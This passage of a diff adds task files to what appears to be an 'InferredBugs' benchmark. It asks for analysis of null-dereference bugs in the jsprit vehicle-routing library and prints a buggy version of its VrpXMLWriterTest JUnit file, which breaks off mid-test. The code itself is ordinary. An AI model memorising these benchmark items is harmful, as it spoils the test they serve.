+jsprit-core/src/test/java/jsprit/core/algorithm/state/TestTourStateUpdaterWithService.java
+
+### Key:
+TestTourStateUpdaterWithService.java|testStatesOfAct1|NULL_DEREFERENCE
+
+### Node Key:
+86355c455675c8e3e76f525cc1a52808
+
+### Hash:
+0b728325f0b1d9c7af69da6a1673b52a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5282/instruction.md b/inferredbugs-5282/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e51051b523b8e39b2fa1b0d688de409fe7a07adf
--- /dev/null
+++ b/inferredbugs-5282/instruction.md
@@ -0,0 +1,1045 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jsprit
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*******************************************************************************
+ * Copyright (C) 2014  Stefan Schroeder
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 3.0 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public 
+ * License along with this library.  If not, see <http://www.gnu.org/licenses/>.
+ ******************************************************************************/
+package jsprit.core.problem.io;
+
+import jsprit.core.problem.Location;
+import jsprit.core.problem.VehicleRoutingProblem;
+import jsprit.core.problem.VehicleRoutingProblem.Builder;
+import jsprit.core.problem.VehicleRoutingProblem.FleetSize;
+import jsprit.core.problem.job.Service;
+import jsprit.core.problem.job.Shipment;
+import jsprit.core.problem.solution.VehicleRoutingProblemSolution;
+import jsprit.core.problem.solution.route.VehicleRoute;
+import jsprit.core.problem.solution.route.activity.TimeWindow;
+import jsprit.core.problem.vehicle.Vehicle;
+import jsprit.core.problem.vehicle.VehicleImpl;
+import jsprit.core.problem.vehicle.VehicleTypeImpl;
+import jsprit.core.util.Coordinate;
+import jsprit.core.util.Solutions;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.*;
+
+public class VrpXMLWriterTest {
+	
+	private String infileName;
+	
+	@Before
+	public void doBefore(){
+		infileName = "src/test/resources/infiniteWriterV2Test.xml";
+	}
+
+	@Test
+	public void whenWritingInfiniteVrp_itWritesCorrectly(){
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		builder.setFleetSize(FleetSize.INFINITE);
+		VehicleTypeImpl type = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleImpl vehicle = VehicleImpl.Builder.newInstance("myVehicle").setStartLocationId("loc").setType(type).build();
+		builder.addVehicle(vehicle);
+		VehicleRoutingProblem vrp = builder.build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+	}
+	
+	@Test
+	public void whenWritingFiniteVrp_itWritesCorrectly(){
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		builder.setFleetSize(FleetSize.FINITE);
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+		VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+		VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		VehicleRoutingProblem vrp = builder.build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+	}
+	
+	@Test
+	public void t(){
+		VehicleRoutingProblem.Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		builder.setFleetSize(FleetSize.FINITE);
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		VehicleRoutingProblem vrp = builder.build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+	}
+	
+	@Test
+	public void whenWritingServices_itWritesThemCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		
+		Service s1 = Service.Builder.newInstance("1").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		Service s1_read = (Service) vrp.getJobs().get("1");
+		assertEquals("1", s1_read.getId());
+		assertEquals("loc", s1_read.getLocation().getId());
+		assertEquals("service", s1_read.getType());
+		assertEquals(2.0,s1_read.getServiceDuration(),0.01);
+	}
+
+    @Test
+    public void shouldWriteNameOfService(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        Service s1 = Service.Builder.newInstance("1").setName("cleaning").addSizeDimension(0, 1).setLocationId("loc").setServiceTime(2.0).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s1).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Service s1_read = (Service) readVrp.getJobs().get("1");
+        assertTrue(s1_read.getName().equals("cleaning"));
+    }
+
+    @Test
+    public void shouldWriteNameOfShipment(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        Location pickLocation = Location.Builder.newInstance().setId("pick").setIndex(1).build();
+        Shipment s1 = Shipment.Builder.newInstance("1").setName("cleaning")
+                .setPickupLocation(pickLocation)
+                .setDeliveryLocationId("del").build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s1).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Shipment s1_read = (Shipment) readVrp.getJobs().get("1");
+        assertTrue(s1_read.getName().equals("cleaning"));
+        assertEquals(1,s1_read.getPickupLocation().getIndex());
+    }
+	
+	@Test
+	public void whenWritingServicesWithSeveralCapacityDimensions_itWritesThemCorrectly(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		Service s1 = Service.Builder.newInstance("1")
+				.addSizeDimension(0, 20)
+				.addSizeDimension(1, 200)
+				.setLocationId("loc").setServiceTime(2.0).build();
+		Service s2 = Service.Builder.newInstance("2").addSizeDimension(0, 1).setLocationId("loc2").setServiceTime(4.0).build();
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		Service s1_read = (Service) vrp.getJobs().get("1");
+		
+		assertEquals(2, s1_read.getSize().getNuOfDimensions());
+		assertEquals(20, s1_read.getSize().get(0));
+		assertEquals(200, s1_read.getSize().get(1));
+		
+	}
+	
+	@Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenLocationIdsOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupLocation(Location.Builder.newInstance().setId("pickLoc").build()).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals("pickLoc",((Shipment)readVrp.getJobs().get("1")).getPickupLocation().getId());
+		assertEquals("delLoc",((Shipment)readVrp.getJobs().get("1")).getDeliveryLocation().getId());
+		
+	}
+	
+	@Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenPickupTimeWindowsOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupLocation(Location.Builder.newInstance().setId("pickLoc").build()).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals(1.0,((Shipment)readVrp.getJobs().get("1")).getPickupTimeWindow().getStart(),0.01);
+		assertEquals(2.0,((Shipment)readVrp.getJobs().get("1")).getPickupTimeWindow().getEnd(),0.01);
+		
+		
+	}
+	
+	@Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenDeliveryTimeWindowsOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupLocation(Location.Builder.newInstance().setId("pickLoc").build()).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals(3.0,((Shipment)readVrp.getJobs().get("1")).getDeliveryTimeWindow().getStart(),0.01);
+		assertEquals(4.0,((Shipment)readVrp.getJobs().get("1")).getDeliveryTimeWindow().getEnd(),0.01);
+		
+	}
+	
+	@Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenDeliveryServiceTimeOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupLocation(Location.Builder.newInstance().setId("pickLoc").build()).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals(100.0,((Shipment)readVrp.getJobs().get("1")).getPickupServiceTime(),0.01);
+		assertEquals(50.0,((Shipment)readVrp.getJobs().get("1")).getDeliveryServiceTime(),0.01);
+		
+	}
+	
+	@Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenLocationIdOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+		assertEquals(2,readVrp.getJobs().size());
+		
+		assertEquals("[x=1.0][y=2.0]",((Shipment)readVrp.getJobs().get("1")).getPickupLocation().getId());
+	}
+
+    @Test
+    public void whenWritingVehicles_vehShouldHave2Skills(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v = VehicleImpl.Builder.newInstance("v1").addSkill("SKILL5").addSkill("skill1").addSkill("Skill2").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v);
+
+        VehicleRoutingProblem vrp = builder.build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Vehicle veh1 = getVehicle("v1",readVrp);
+
+        assertEquals(3,veh1.getSkills().values().size());
+    }
+
+    @Test
+    public void whenWritingVehicles_vehShouldContain_skill5(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v = VehicleImpl.Builder.newInstance("v1").addSkill("SKILL5").addSkill("skill1").addSkill("Skill2").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v);
+
+        VehicleRoutingProblem vrp = builder.build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Vehicle veh1 = getVehicle("v1",readVrp);
+
+        assertTrue(veh1.getSkills().containsSkill("skill5"));
+    }
+
+    @Test
+    public void whenWritingVehicles_vehShouldContain_skill1(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v = VehicleImpl.Builder.newInstance("v1").addSkill("SKILL5").addSkill("skill1").addSkill("Skill2").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v);
+
+        VehicleRoutingProblem vrp = builder.build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Vehicle veh1 = getVehicle("v1",readVrp);
+
+        assertTrue(veh1.getSkills().containsSkill("skill1"));
+    }
+
+    @Test
+    public void whenWritingVehicles_vehShouldContain_skill2(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v = VehicleImpl.Builder.newInstance("v1").addSkill("SKILL5").addSkill("skill1").addSkill("Skill2").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v);
+
+        VehicleRoutingProblem vrp = builder.build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Vehicle veh1 = getVehicle("v1",readVrp);
+
+        assertTrue(veh1.getSkills().containsSkill("skill2"));
+    }
+
+    @Test
+    public void whenWritingVehicles_vehShouldHave0Skills(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+        VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+        VehicleImpl v = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        builder.addVehicle(v);
+
+        VehicleRoutingProblem vrp = builder.build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+        Vehicle veh = getVehicle("v1",readVrp);
+
+        assertEquals(0,veh.getSkills().values().size());
+    }
+
+    private Vehicle getVehicle(String v1, VehicleRoutingProblem readVrp) {
+        for(Vehicle v : readVrp.getVehicles()){
+            if(v.getId().equals(v1)) return v;
+        }
+        return null;
+    }
+
+    @Test
+    public void whenWritingShipments_shipmentShouldHaveCorrectNuSkills(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Shipment s = Shipment.Builder.newInstance("1").addRequiredSkill("skill1").addRequiredSkill("skill2").addRequiredSkill("skill3")
+                .addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+                .setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertEquals(3,readVrp.getJobs().get("1").getRequiredSkills().values().size());
+    }
+
+    @Test
+    public void whenWritingShipments_shipmentShouldContain_skill1(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Shipment s = Shipment.Builder.newInstance("1").addRequiredSkill("skill1").addRequiredSkill("skill2").addRequiredSkill("skill3")
+                .addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+                .setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertTrue(readVrp.getJobs().get("1").getRequiredSkills().containsSkill("skill1"));
+    }
+
+    @Test
+    public void whenWritingShipments_shipmentShouldContain_skill2(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Shipment s = Shipment.Builder.newInstance("1").addRequiredSkill("skill1").addRequiredSkill("Skill2").addRequiredSkill("skill3")
+                .addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+                .setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertTrue(readVrp.getJobs().get("1").getRequiredSkills().containsSkill("skill2"));
+    }
+
+    @Test
+    public void whenWritingShipments_shipmentShouldContain_skill3(){
+        Builder builder = VehicleRoutingProblem.Builder.newInstance();
+
+        Shipment s = Shipment.Builder.newInstance("1").addRequiredSkill("skill1").addRequiredSkill("Skill2").addRequiredSkill("skill3")
+                .addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+                .setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+
+        VehicleRoutingProblem vrp = builder.addJob(s).build();
+        new VrpXMLWriter(vrp, null).write(infileName);
+
+        VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+        new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+        VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
+
+        assertTrue(readVrp.getJobs().get("1").getRequiredSkills().containsSkill("skill3"));
+    }
+
+    @Test
+	public void whenWritingShipments_readingThemAgainMustReturnTheWrittenLocationCoordOfS1(){
+		Builder builder = VehicleRoutingProblem.Builder.newInstance();
+		
+		VehicleTypeImpl type1 = VehicleTypeImpl.Builder.newInstance("vehType").addCapacityDimension(0, 20).build();
+		VehicleTypeImpl type2 = VehicleTypeImpl.Builder.newInstance("vehType2").addCapacityDimension(0, 200).build();
+        VehicleImpl v1 = VehicleImpl.Builder.newInstance("v1").setStartLocationId("loc").setType(type1).build();
+        VehicleImpl v2 = VehicleImpl.Builder.newInstance("v2").setStartLocationId("loc").setType(type2).build();
+		
+		builder.addVehicle(v1);
+		builder.addVehicle(v2);
+		
+		Shipment s1 = Shipment.Builder.newInstance("1").addSizeDimension(0, 10).setPickupCoord(Coordinate.newInstance(1, 2)).setDeliveryCoord(Coordinate.newInstance(5, 6)).setDeliveryLocationId("delLoc").setPickupTimeWindow(TimeWindow.newInstance(1, 2))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(3, 4)).setPickupServiceTime(100).setDeliveryServiceTime(50).build();
+		Shipment s2 = Shipment.Builder.newInstance("2").addSizeDimension(0, 20).setPickupLocation(Location.Builder.newInstance().setId("pickLocation").build()).setDeliveryLocationId("delLocation").setPickupTimeWindow(TimeWindow.newInstance(5, 6))
+				.setDeliveryTimeWindow(TimeWindow.newInstance(7, 8)).build();
+		
+		
+		VehicleRoutingProblem vrp = builder.addJob(s1).addJob(s2).build();
+		new VrpXMLWriter(vrp, null).write(infileName);
+		
+		VehicleRoutingProblem.Builder vrpToReadBuilder = VehicleRoutingProblem.Builder.newInstance();
+		new VrpXMLReader(vrpToReadBuilder, null).read(infileName);
+		VehicleRoutingProblem readVrp = vrpToReadBuilder.build();
